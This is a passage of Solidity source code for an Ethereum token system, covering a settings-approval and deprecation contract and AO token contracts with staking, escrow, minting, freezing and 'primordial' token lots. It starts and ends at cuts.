getCreatorTAOSetting(bytes32 _creatorTAOSettingId) public view returns (bytes32, address, uint256) { CreatorTAOSetting memory _creatorTAOSetting = creatorTAOSettings[_creatorTAOSettingId]; return ( _creatorTAOSetting.creatorTAOSettingId, _creatorTAOSetting.creatorTAOId, _creatorTAOSetting.settingId ); } /** * @dev Advocate of Setting's _associatedTAOId approves setting creation * @param _settingId The ID of the setting to approve * @param _associatedTAOAdvocate The advocate of the associated TAO * @param _approved Whether to approve or reject * @return true on success */ function approveAdd(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) public inWhitelist returns (bool) { // Make sure setting exists and needs approval SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == true && _settingData.locked == true && _settingData.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId) ); if (_approved) { // Unlock the setting so that advocate of creatorTAOId can finalize the creation _settingData.locked = false; } else { // Reject the setting _settingData.pendingCreate = false; _settingData.rejected = true; } return true; } /** * @dev Advocate of Setting's _creatorTAOId finalizes the setting creation once the setting is approved * @param _settingId The ID of the setting to be finalized * @param _creatorTAOAdvocate The advocate of the creator TAO * @return true on success */ function finalizeAdd(uint256 _settingId, address _creatorTAOAdvocate) public inWhitelist returns (bool) { // Make sure setting exists and needs approval SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == true && _settingData.locked == false && _settingData.rejected == false && _creatorTAOAdvocate != address(0) && _creatorTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.creatorTAOId) ); // Update the setting data _settingData.pendingCreate = false; _settingData.locked = true; return true; } /** * @dev Store setting update data * @param _settingId The ID of the setting to be updated * @param _settingType The type of this setting * @param _associatedTAOAdvocate The setting's associatedTAOId's advocate's name address * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param _updateSignature A signature of the proposalTAOId and update value by _associatedTAOAdvocate * @param _extraData Catch-all string value to be stored if exist * @return true on success */ function update(uint256 _settingId, uint8 _settingType, address _associatedTAOAdvocate, address _proposalTAOId, string _updateSignature, string _extraData) public inWhitelist returns (bool) { // Make sure setting is created SettingData memory _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.settingType == _settingType && _settingData.pendingCreate == false && _settingData.locked == true && _settingData.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId) && bytes(_updateSignature).length > 0 ); // Make sure setting is not in the middle of updating SettingState storage _settingState = settingStates[_settingId]; require (_settingState.pendingUpdate == false); // Make sure setting is not yet deprecated SettingDeprecation memory _settingDeprecation = settingDeprecations[_settingId]; if (_settingDeprecation.settingId == _settingId) { require (_settingDeprecation.migrated == false); } // Store the SettingState data _settingState.pendingUpdate = true; _settingState.updateAdvocateNameId = _associatedTAOAdvocate; _settingState.proposalTAOId = _proposalTAOId; _settingState.updateSignature = _updateSignature; _settingState.settingStateJSON = _extraData; return true; } /** * @dev Get setting state * @param _settingId The ID of the setting */ function getSettingState(uint256 _settingId) public view returns (uint256, bool, address, address, string, address, string) { SettingState memory _settingState = settingStates[_settingId]; return ( _settingState.settingId, _settingState.pendingUpdate, _settingState.updateAdvocateNameId, _settingState.proposalTAOId, _settingState.updateSignature, _settingState.lastUpdateTAOId, _settingState.settingStateJSON ); } /** * @dev Advocate of Setting's proposalTAOId approves the setting update * @param _settingId The ID of the setting to be approved * @param _proposalTAOAdvocate The advocate of the proposal TAO * @param _approved Whether to approve or reject * @return true on success */ function approveUpdate(uint256 _settingId, address _proposalTAOAdvocate, bool _approved) public inWhitelist returns (bool) { // Make sure setting is created SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == false && _settingData.locked == true && _settingData.rejected == false); // Make sure setting update exists and needs approval SettingState storage _settingState = settingStates[_settingId]; require (_settingState.settingId == _settingId && _settingState.pendingUpdate == true && _proposalTAOAdvocate != address(0) && _proposalTAOAdvocate == _nameTAOPosition.getAdvocate(_settingState.proposalTAOId) ); if (_approved) { // Unlock the setting so that advocate of associatedTAOId can finalize the update _settingData.locked = false; } else { // Set pendingUpdate to false _settingState.pendingUpdate = false; _settingState.proposalTAOId = address(0); } return true; } /** * @dev Advocate of Setting's _associatedTAOId finalizes the setting update once the setting is approved * @param _settingId The ID of the setting to be finalized * @param _associatedTAOAdvocate The advocate of the associated TAO * @return true on success */ function finalizeUpdate(uint256 _settingId, address _associatedTAOAdvocate) public inWhitelist returns (bool) { // Make sure setting is created SettingData storage _settingData = settingDatas[_settingId]; require (_settingData.settingId == _settingId && _settingData.pendingCreate == false && _settingData.locked == false && _settingData.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId) ); // Make sure setting update exists and needs approval SettingState storage _settingState = settingStates[_settingId]; require (_settingState.settingId == _settingId && _settingState.pendingUpdate == true && _settingState.proposalTAOId != address(0)); // Update the setting data _settingData.locked = true; // Update the setting state _settingState.pendingUpdate = false; _settingState.updateAdvocateNameId = _associatedTAOAdvocate; address _proposalTAOId = _settingState.proposalTAOId; _settingState.proposalTAOId = address(0); _settingState.lastUpdateTAOId = _proposalTAOId; return true; } /** * @dev Add setting deprecation * @param _settingId The ID of the setting * @param _creatorNameId The nameId that created the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _newSettingId The new settingId value to route * @param _newSettingContractAddress The address of the new setting contract to route * @return The ID of the "Associated" setting deprecation * @return The ID of the "Creator" setting deprecation */ function addDeprecation(uint256 _settingId, address _creatorNameId, address _creatorTAOId, address _associatedTAOId, uint256 _newSettingId, address _newSettingContractAddress) public inWhitelist returns (bytes32, bytes32) { require (_storeSettingDeprecation(_settingId, _creatorNameId, _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress)); // Store the associatedTAOSettingDeprecation info bytes32 _associatedTAOSettingDeprecationId = keccak256(abi.encodePacked(this, _associatedTAOId, _settingId)); AssociatedTAOSettingDeprecation storage _associatedTAOSettingDeprecation = associatedTAOSettingDeprecations[_associatedTAOSettingDeprecationId]; _associatedTAOSettingDeprecation.associatedTAOSettingDeprecationId = _associatedTAOSettingDeprecationId; _associatedTAOSettingDeprecation.associatedTAOId = _associatedTAOId; _associatedTAOSettingDeprecation.settingId = _settingId; // Store the creatorTAOSettingDeprecation info bytes32 _creatorTAOSettingDeprecationId = keccak256(abi.encodePacked(this, _creatorTAOId, _settingId)); CreatorTAOSettingDeprecation storage _creatorTAOSettingDeprecation = creatorTAOSettingDeprecations[_creatorTAOSettingDeprecationId]; _creatorTAOSettingDeprecation.creatorTAOSettingDeprecationId = _creatorTAOSettingDeprecationId; _creatorTAOSettingDeprecation.creatorTAOId = _creatorTAOId; _creatorTAOSettingDeprecation.settingId = _settingId; return (_associatedTAOSettingDeprecationId, _creatorTAOSettingDeprecationId); } /** * @dev Get Setting Deprecation info of a setting ID * @param _settingId The ID of the setting */ function getSettingDeprecation(uint256 _settingId) public view returns (uint256, address, address, address, bool, bool, bool, bool, uint256, uint256, address, address) { SettingDeprecation memory _settingDeprecation = settingDeprecations[_settingId]; return ( _settingDeprecation.settingId, _settingDeprecation.creatorNameId, _settingDeprecation.creatorTAOId, _settingDeprecation.associatedTAOId, _settingDeprecation.pendingDeprecated, _settingDeprecation.locked, _settingDeprecation.rejected, _settingDeprecation.migrated, _settingDeprecation.pendingNewSettingId, _settingDeprecation.newSettingId, _settingDeprecation.pendingNewSettingContractAddress, _settingDeprecation.newSettingContractAddress ); } /** * @dev Get Associated TAO Setting Deprecation info * @param _associatedTAOSettingDeprecationId The ID of the associated tao setting deprecation */ function getAssociatedTAOSettingDeprecation(bytes32 _associatedTAOSettingDeprecationId) public view returns (bytes32, address, uint256) { AssociatedTAOSettingDeprecation memory _associatedTAOSettingDeprecation = associatedTAOSettingDeprecations[_associatedTAOSettingDeprecationId]; return ( _associatedTAOSettingDeprecation.associatedTAOSettingDeprecationId, _associatedTAOSettingDeprecation.associatedTAOId, _associatedTAOSettingDeprecation.settingId ); } /** * @dev Get Creator TAO Setting Deprecation info * @param _creatorTAOSettingDeprecationId The ID of the creator tao setting deprecation */ function getCreatorTAOSettingDeprecation(bytes32 _creatorTAOSettingDeprecationId) public view returns (bytes32, address, uint256) { CreatorTAOSettingDeprecation memory _creatorTAOSettingDeprecation = creatorTAOSettingDeprecations[_creatorTAOSettingDeprecationId]; return ( _creatorTAOSettingDeprecation.creatorTAOSettingDeprecationId, _creatorTAOSettingDeprecation.creatorTAOId, _creatorTAOSettingDeprecation.settingId ); } /** * @dev Advocate of SettingDeprecation's _associatedTAOId approves deprecation * @param _settingId The ID of the setting to approve * @param _associatedTAOAdvocate The advocate of the associated TAO * @param _approved Whether to approve or reject * @return true on success */ function approveDeprecation(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) public inWhitelist returns (bool) { // Make sure setting exists and needs approval SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId]; require (_settingDeprecation.settingId == _settingId && _settingDeprecation.migrated == false && _settingDeprecation.pendingDeprecated == true && _settingDeprecation.locked == true && _settingDeprecation.rejected == false && _associatedTAOAdvocate != address(0) && _associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingDeprecation.associatedTAOId) ); if (_approved) { // Unlock the setting so that advocate of creatorTAOId can finalize the creation _settingDeprecation.locked = false; } else { // Reject the setting _settingDeprecation.pendingDeprecated = false; _settingDeprecation.rejected = true; } return true; } /** * @dev Advocate of SettingDeprecation's _creatorTAOId finalizes the deprecation once the setting deprecation is approved * @param _settingId The ID of the setting to be finalized * @param _creatorTAOAdvocate The advocate of the creator TAO * @return true on success */ function finalizeDeprecation(uint256 _settingId, address _creatorTAOAdvocate) public inWhitelist returns (bool) { // Make sure setting exists and needs approval SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId]; require (_settingDeprecation.settingId == _settingId && _settingDeprecation.migrated == false && _settingDeprecation.pendingDeprecated == true && _settingDeprecation.locked == false && _settingDeprecation.rejected == false && _creatorTAOAdvocate != address(0) && _creatorTAOAdvocate == _nameTAOPosition.getAdvocate(_settingDeprecation.creatorTAOId) ); // Update the setting data _settingDeprecation.pendingDeprecated = false; _settingDeprecation.locked = true; _settingDeprecation.migrated = true; uint256 _newSettingId = _settingDeprecation.pendingNewSettingId; _settingDeprecation.pendingNewSettingId = 0; _settingDeprecation.newSettingId = _newSettingId; address _newSettingContractAddress = _settingDeprecation.pendingNewSettingContractAddress; _settingDeprecation.pendingNewSettingContractAddress = address(0); _settingDeprecation.newSettingContractAddress = _newSettingContractAddress; return true; } /** * @dev Check if a setting exist and not rejected * @param _settingId The ID of the setting * @return true if exist. false otherwise */ function settingExist(uint256 _settingId) public view returns (bool) { SettingData memory _settingData = settingDatas[_settingId]; return (_settingData.settingId == _settingId && _settingData.rejected == false); } /** * @dev Get the latest ID of a deprecated setting, if exist * @param _settingId The ID of the setting * @return The latest setting ID */ function getLatestSettingId(uint256 _settingId) public view returns (uint256) { (,,,,,,, bool _migrated,, uint256 _newSettingId,,) = getSettingDeprecation(_settingId); while (_migrated && _newSettingId > 0) { _settingId = _newSettingId; (,,,,,,, _migrated,, _newSettingId,,) = getSettingDeprecation(_settingId); } return _settingId; } /***** Internal Method *****/ /** * @dev Store setting data/state * @param _settingId The ID of the setting * @param _creatorNameId The nameId that created the setting * @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string * @param _settingName The human-readable name of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist * @return true on success */ function _storeSettingDataState(uint256 _settingId, address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) internal returns (bool) { // Store setting data SettingData storage _settingData = settingDatas[_settingId]; _settingData.settingId = _settingId; _settingData.creatorNameId = _creatorNameId; _settingData.creatorTAOId = _creatorTAOId; _settingData.associatedTAOId = _associatedTAOId; _settingData.settingName = _settingName; _settingData.settingType = _settingType; _settingData.pendingCreate = true; _settingData.locked = true; _settingData.settingDataJSON = _extraData; // Store setting state SettingState storage _settingState = settingStates[_settingId]; _settingState.settingId = _settingId; return true; } /** * @dev Store setting deprecation * @param _settingId The ID of the setting * @param _creatorNameId The nameId that created the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _newSettingId The new settingId value to route * @param _newSettingContractAddress The address of the new setting contract to route * @return true on success */ function _storeSettingDeprecation(uint256 _settingId, address _creatorNameId, address _creatorTAOId, address _associatedTAOId, uint256 _newSettingId, address _newSettingContractAddress) internal returns (bool) { // Make sure this setting exists require (settingDatas[_settingId].creatorNameId != address(0) && settingDatas[_settingId].rejected == false && settingDatas[_settingId].pendingCreate == false); // Make sure deprecation is not yet exist for this setting Id require (settingDeprecations[_settingId].creatorNameId == address(0)); // Make sure newSettingId exists require (settingDatas[_newSettingId].creatorNameId != address(0) && settingDatas[_newSettingId].rejected == false && settingDatas[_newSettingId].pendingCreate == false); // Make sure the settingType matches require (settingDatas[_settingId].settingType == settingDatas[_newSettingId].settingType); // Store setting deprecation info SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId]; _settingDeprecation.settingId = _settingId; _settingDeprecation.creatorNameId = _creatorNameId; _settingDeprecation.creatorTAOId = _creatorTAOId; _settingDeprecation.associatedTAOId = _associatedTAOId; _settingDeprecation.pendingDeprecated = true; _settingDeprecation.locked = true; _settingDeprecation.pendingNewSettingId = _newSettingId; _settingDeprecation.pendingNewSettingContractAddress = _newSettingContractAddress; return true; } } /** * @title AOTokenInterface */ contract AOTokenInterface is TheAO, TokenERC20 { using SafeMath for uint256; // To differentiate denomination of AO uint256 public powerOfTen; /***** NETWORK TOKEN VARIABLES *****/ uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; mapping (address => uint256) public stakedBalance; mapping (address => uint256) public escrowedBalance; // This generates a public event on the blockchain that will notify clients event FrozenFunds(address target, bool frozen); event Stake(address indexed from, uint256 value); event Unstake(address indexed from, uint256 value); event Escrow(address indexed from, address indexed to, uint256 value); event Unescrow(address indexed from, uint256 value); /** * @dev Constructor function */ constructor(uint256 initialSupply, string tokenName, string tokenSymbol) TokenERC20(initialSupply, tokenName, tokenSymbol) public { powerOfTen = 0; decimals = 0; } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev Prevent/Allow target from sending & receiving tokens * @param target Address to be frozen * @param freeze Either to freeze it or not */ function freezeAccount(address target, bool freeze) public onlyTheAO { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /** * @dev Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth * @param newSellPrice Price users can sell to the contract * @param newBuyPrice Price users can buy from the contract */ function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyTheAO { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /***** NETWORK TOKEN WHITELISTED ADDRESS ONLY METHODS *****/ /** * @dev Create `mintedAmount` tokens and send it to `target` * @param target Address to receive the tokens * @param mintedAmount The amount of tokens it will receive * @return true on success */ function mintToken(address target, uint256 mintedAmount) public inWhitelist returns (bool) { _mintToken(target, mintedAmount); return true; } /** * @dev Stake `_value` tokens on behalf of `_from` * @param _from The address of the target * @param _value The amount to stake * @return true on success */ function stakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance stakedBalance[_from] = stakedBalance[_from].add(_value); // Add to the targeted staked balance emit Stake(_from, _value); return true; } /** * @dev Unstake `_value` tokens on behalf of `_from` * @param _from The address of the target * @param _value The amount to unstake * @return true on success */ function unstakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (stakedBalance[_from] >= _value); // Check if the targeted staked balance is enough stakedBalance[_from] = stakedBalance[_from].sub(_value); // Subtract from the targeted staked balance balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance emit Unstake(_from, _value); return true; } /** * @dev Store `_value` from `_from` to `_to` in escrow * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of network tokens to put in escrow * @return true on success */ function escrowFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) { require (balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance escrowedBalance[_to] = escrowedBalance[_to].add(_value); // Add to the targeted escrowed balance emit Escrow(_from, _to, _value); return true; } /** * @dev Create `mintedAmount` tokens and send it to `target` escrow balance * @param target Address to receive the tokens * @param mintedAmount The amount of tokens it will receive in escrow */ function mintTokenEscrow(address target, uint256 mintedAmount) public inWhitelist returns (bool) { escrowedBalance[target] = escrowedBalance[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Escrow(this, target, mintedAmount); return true; } /** * @dev Release escrowed `_value` from `_from` * @param _from The address of the sender * @param _value The amount of escrowed network tokens to be released * @return true on success */ function unescrowFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (escrowedBalance[_from] >= _value); // Check if the targeted escrowed balance is enough escrowedBalance[_from] = escrowedBalance[_from].sub(_value); // Subtract from the targeted escrowed balance balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance emit Unescrow(_from, _value); return true; } /** * * @dev Whitelisted address remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } /** * @dev Whitelisted address transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function whitelistTransferFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool success) { _transfer(_from, _to, _value); return true; } /***** PUBLIC METHODS *****/ /** * @dev Buy tokens from contract by sending ether */ function buy() public payable { require (buyPrice > 0); uint256 amount = msg.value.div(buyPrice); _transfer(this, msg.sender, amount); } /** * @dev Sell `amount` tokens to contract * @param amount The amount of tokens to be sold */ function sell(uint256 amount) public { require (sellPrice > 0); address myAddress = this; require (myAddress.balance >= amount.mul(sellPrice)); _transfer(msg.sender, this, amount); msg.sender.transfer(amount.mul(sellPrice)); } /***** INTERNAL METHODS *****/ /** * @dev Send `_value` tokens from `_from` to `_to` * @param _from The address of sender * @param _to The address of the recipient * @param _value The amount to send */ function _transfer(address _from, address _to, uint256 _value) internal { require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows require (!frozenAccount[_from]); // Check if sender is frozen require (!frozenAccount[_to]); // Check if recipient is frozen uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * @dev Create `mintedAmount` tokens and send it to `target` * @param target Address to receive the tokens * @param mintedAmount The amount of tokens it will receive */ function _mintToken(address target, uint256 mintedAmount) internal { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } } /** * @title AOToken */ contract AOToken is AOTokenInterface { using SafeMath for uint256; address public settingTAOId; address public aoSettingAddress; // AO Dev Team addresses to receive Primordial/Network Tokens address public aoDevTeam1 = 0x5C63644D01Ba385eBAc5bcf2DDc1e6dBC1182b52; address public aoDevTeam2 = 0x156C79bf4347D1891da834Ea30662A14177CbF28; AOSetting internal _aoSetting; /***** PRIMORDIAL TOKEN VARIABLES *****/ uint256 public primordialTotalSupply; uint256 public primordialTotalBought; uint256 public primordialSellPrice; uint256 public primordialBuyPrice; // Total available primordial token for sale 1,125,899,906,842,620 AO+ uint256 constant public TOTAL_PRIMORDIAL_FOR_SALE = 1125899906842620; mapping (address => uint256) public primordialBalanceOf; mapping (address => mapping (address => uint256)) public primordialAllowance; // Mapping from owner's lot weighted multiplier to the amount of staked tokens mapping (address => mapping (uint256 => uint256)) public primordialStakedBalance; event PrimordialTransfer(address indexed from, address indexed to, uint256 value); event PrimordialApproval(address indexed _owner, address indexed _spender, uint256 _value); event PrimordialBurn(address indexed from, uint256 value); event PrimordialStake(address indexed from, uint256 value, uint256 weightedMultiplier); event PrimordialUnstake(address indexed from, uint256 value, uint256 weightedMultiplier); uint256 public totalLots; uint256 public totalBurnLots; uint256 public totalConvertLots; bool public networkExchangeEnded; /** * Stores Lot creation data (during network exchange) */ struct Lot { bytes32 lotId; uint256 multiplier; // This value is in 10^6, so 1000000 = 1 address lotOwner; uint256 tokenAmount; } /** * Struct to store info when account burns primordial token */ struct BurnLot { bytes32 burnLotId; address lotOwner; uint256 tokenAmount; } /** * Struct to store info when account converts network token to primordial token */ struct ConvertLot { bytes32 convertLotId; address lotOwner; uint256 tokenAmount; } // Mapping from Lot ID to Lot object mapping (bytes32 => Lot) internal lots; // Mapping from Burn Lot ID to BurnLot object mapping (bytes32 => BurnLot) internal burnLots; // Mapping from Convert Lot ID to ConvertLot object mapping (bytes32 => ConvertLot) internal convertLots; // Mapping from owner to list of owned lot IDs mapping (address => bytes32[]) internal ownedLots; // Mapping from owner to list of owned burn lot IDs mapping (address => bytes32[]) internal ownedBurnLots; // Mapping from owner to list of owned convert lot IDs mapping (address => bytes32[]) internal ownedConvertLots; // Mapping from owner to his/her current weighted multiplier mapping (address => uint256) internal ownerWeightedMultiplier; // Mapping from owner to his/her max multiplier (multiplier of account's first Lot) mapping (address => uint256) internal ownerMaxMultiplier; // Event to be broadcasted to public when a lot is created // multiplier value is in 10^6 to account for 6 decimal points event LotCreation(address indexed lotOwner, bytes32 indexed lotId, uint256 multiplier, uint256 primordialTokenAmount, uint256 networkTokenBonusAmount); // Event to be broadcasted to public when burn lot is created (when account burns primordial tokens) event BurnLotCreation(address indexed lotOwner, bytes32 indexed burnLotId, uint256 burnTokenAmount, uint256 multiplierAfterBurn); // Event to be broadcasted to public when convert lot is created (when account convert network tokens to primordial tokens) event ConvertLotCreation(address indexed lotOwner, bytes32 indexed convertLotId, uint256 convertTokenAmount, uint256 multiplierAfterBurn); /** * @dev Constructor function */ constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address _settingTAOId, address _aoSettingAddress) AOTokenInterface(initialSupply, tokenName, tokenSymbol) public { settingTAOId = _settingTAOId; aoSettingAddress = _aoSettingAddress; _aoSetting = AOSetting(_aoSettingAddress); powerOfTen = 0; decimals = 0; setPrimordialPrices(0, 10000); // Set Primordial buy price to 10000 Wei/token } /** * @dev Checks if buyer can buy primordial token */ modifier canBuyPrimordial(uint256 _sentAmount) { require (networkExchangeEnded == false && primordialTotalBought < TOTAL_PRIMORDIAL_FOR_SALE && primordialBuyPrice > 0 && _sentAmount > 0); _; } /***** The AO ONLY METHODS *****/ /** * @dev Set AO Dev team addresses to receive Primordial/Network tokens during network exchange * @param _aoDevTeam1 The first AO dev team address * @param _aoDevTeam2 The second AO dev team address */ function setAODevTeamAddresses(address _aoDevTeam1, address _aoDevTeam2) public onlyTheAO { aoDevTeam1 = _aoDevTeam1; aoDevTeam2 = _aoDevTeam2; } /***** PRIMORDIAL TOKEN The AO ONLY METHODS *****/ /** * @dev Allow users to buy Primordial tokens for `newBuyPrice` eth and sell Primordial tokens for `newSellPrice` eth * @param newPrimordialSellPrice Price users can sell to the contract * @param newPrimordialBuyPrice Price users can buy from the contract */ function setPrimordialPrices(uint256 newPrimordialSellPrice, uint256 newPrimordialBuyPrice) public onlyTheAO { primordialSellPrice = newPrimordialSellPrice; primordialBuyPrice = newPrimordialBuyPrice; } /***** PRIMORDIAL TOKEN WHITELISTED ADDRESS ONLY METHODS *****/ /** * @dev Stake `_value` Primordial tokens at `_weightedMultiplier ` multiplier on behalf of `_from` * @param _from The address of the target * @param _value The amount of Primordial tokens to stake * @param _weightedMultiplier The weighted multiplier of the Primordial tokens * @return true on success */ function stakePrimordialTokenFrom(address _from, uint256 _value, uint256 _weightedMultiplier) public inWhitelist returns (bool) { // Check if the targeted balance is enough require (primordialBalanceOf[_from] >= _value); // Make sure the weighted multiplier is the same as account's current weighted multiplier require (_weightedMultiplier == ownerWeightedMultiplier[_from]); // Subtract from the targeted balance primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value); // Add to the targeted staked balance primordialStakedBalance[_from][_weightedMultiplier] = primordialStakedBalance[_from][_weightedMultiplier].add(_value); emit PrimordialStake(_from, _value, _weightedMultiplier); return true; } /** * @dev Unstake `_value` Primordial tokens at `_weightedMultiplier` on behalf of `_from` * @param _from The address of the target * @param _value The amount to unstake * @param _weightedMultiplier The weighted multiplier of the Primordial tokens * @return true on success */ function unstakePrimordialTokenFrom(address _from, uint256 _value, uint256 _weightedMultiplier) public inWhitelist returns (bool) { // Check if the targeted staked balance is enough require (primordialStakedBalance[_from][_weightedMultiplier] >= _value); // Subtract from the targeted staked balance primordialStakedBalance[_from][_weightedMultiplier] = primordialStakedBalance[_from][_weightedMultiplier].sub(_value); // Add to the targeted balance primordialBalanceOf[_from] = primordialBalanceOf[_from].add(_value); emit PrimordialUnstake(_from, _value, _weightedMultiplier); return true; } /** * @dev Send `_value` primordial tokens to `_to` on behalf of `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount to send * @return true on success */ function whitelistTransferPrimordialTokenFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) { bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[_from]); Lot memory _lot = lots[_createdLotId]; // Make sure the new lot is created successfully require (_lot.lotOwner == _to); // Update the weighted multiplier of the recipient ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[_from], _value); // Transfer the Primordial tokens require (_transferPrimordialToken(_from, _to, _value)); emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0); return true; } /***** PUBLIC METHODS *****/ /***** Primordial TOKEN PUBLIC METHODS *****/ /** * @dev Buy Primordial tokens from contract by sending ether */ function buyPrimordialToken() public payable canBuyPrimordial(msg.value) { (uint256 tokenAmount, uint256 remainderBudget, bool shouldEndNetworkExchange) = _calculateTokenAmountAndRemainderBudget(msg.value); require (tokenAmount > 0); // Ends network exchange if necessary if (shouldEndNetworkExchange) { networkExchangeEnded = true; } // Send the primordial token to buyer and reward AO devs _sendPrimordialTokenAndRewardDev(tokenAmount, msg.sender); // Send remainder budget back to buyer if exist if (remainderBudget > 0) { msg.sender.transfer(remainderBudget); } } /** * @dev Send `_value` Primordial tokens to `_to` from your account * @param _to The address of the recipient * @param _value The amount to send * @return true on success */ function transferPrimordialToken(address _to, uint256 _value) public returns (bool success) { bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[msg.sender]); Lot memory _lot = lots[_createdLotId]; // Make sure the new lot is created successfully require (_lot.lotOwner == _to); // Update the weighted multiplier of the recipient ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[msg.sender], _value); // Transfer the Primordial tokens require (_transferPrimordialToken(msg.sender, _to, _value)); emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0); return true; } /** * @dev Send `_value` Primordial tokens to `_to` from `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount to send * @return true on success */ function transferPrimordialTokenFrom(address _from, address _to, uint256 _value) public returns (bool success) { require (_value <= primordialAllowance[_from][msg.sender]); primordialAllowance[_from][msg.sender] = primordialAllowance[_from][msg.sender].sub(_value); bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[_from]); Lot memory _lot = lots[_createdLotId]; // Make sure the new lot is created successfully require (_lot.lotOwner == _to); // Update the weighted multiplier of the recipient ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[_from], _value); // Transfer the Primordial tokens require (_transferPrimordialToken(_from, _to, _value)); emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0); return true; } /** * @dev Allows 